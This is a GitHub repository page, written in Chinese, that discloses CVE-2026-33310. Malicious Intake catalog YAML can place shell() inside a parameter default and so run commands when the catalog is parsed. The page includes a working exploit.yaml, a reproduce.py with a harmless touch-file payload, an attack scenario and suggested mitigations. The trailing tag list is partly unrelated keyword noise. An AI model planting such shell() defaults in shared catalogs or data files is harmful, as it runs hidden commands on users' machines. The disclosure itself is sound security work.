redyank/CVE-2026-33310

GitHub: redyank/CVE-2026-33310

CVE-2026-33310 的 PoC,展示 Intake 框架在解析 catalog 参数默认值时通过 shell() 展开触发命令注入的漏洞。

Stars: 0 | Forks: 1

# CVE-2026-33310 CVE-2026-33310(通过参数默认值中的 shell() 展开实现命令注入) ### 概述 参数默认值中的 shell() 语法似乎在 catalog 解析过程中会自动展开。 如果 catalog 包含类似 shell() 的参数默认值,当访问 catalog 源时,该命令可能会被执行。 这意味着如果用户加载了恶意的 catalog YAML,嵌入的命令可能会在主机系统上执行。 此行为可能被归类为 CWE-78:OS 命令注入 / 不安全的 Shell 展开。 ### 详情 该问题似乎源于在访问 catalog 源时参数默认值的展开方式。 在 catalog 加载和源访问期间: Intake 解析参数默认值 负责展开默认值的函数处理 shell() 语法 Shell 表达式触发子进程执行 由于这发生在 catalog 评估期间,命令可能会在用户显式与数据集本身交互之前执行。 受影响的逻辑似乎涉及: ``` expand_defaults() ``` 以及相关的参数解析机制。 ### PoC exploit.yaml ``` metadata: version: 1 sources: rce_test: driver: csv description: "Testing shell expansion in parameters" args: urlpath: "{{ cmd_exec }}" parameters: cmd_exec: display_name: "Test Parameter" type: str default: "shell(touch /tmp/intake_rce_test)" ``` reproduce.py ``` import intake import os PROOF_FILE = "/tmp/intake_rce_test" if os.path.exists(PROOF_FILE): os.remove(PROOF_FILE) print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}") try: cat = intake.open_catalog("exploit.yaml") print("Accessing source...") _ = cat["rce_test"] except Exception as e: print(f" Error during execution: {e}") if os.path.exists(PROOF_FILE): print(f" Command execution confirmed, Found: {PROOF_FILE}") else: print("Command execution did not occur.") ``` ### 攻击场景 潜在的攻击场景可能是: 1. 攻击者发布恶意的 Intake catalog YAML 文件 2. 受害者下载或加载该 catalog 3. 受害者访问 catalog 中的一个 source 条目 4. 参数默认值被展开 5. shell() 表达式触发嵌入命令的执行 ### 影响 如果此行为被确认为非预期,攻击者可能通过以下方式分发恶意 catalog 文件: - Git 仓库 - 共享数据集 - URL - 数据科学工作流 - 任何加载该 catalog 的用户都可能 unknowingly 以其本地用户权限执行命令。 ### 建议 可能的缓解措施包括: - 默认禁用 shell() 展开 - 要求显式的选择加入标志(例如 allow_shell=True) - 限制对来自不可信源的 catalog 执行 shell 如果需要更多信息或测试,请告诉我。 我很乐意协助进行进一步的分析或验证。
标签:CVE-2026-33310, CWE-78, Exploit, Go语言工具, Intake, PoC, RCE, Shell注入, YAML解析漏洞, 不安全的反序列化, 依赖混淆, 参数默认值, 命令注入, 开放策略代理, 数据目录安全, 文档安全, 暴力破解, 沙箱逃逸, 编程工具, 远程代码执行, 逆向工具, 零日漏洞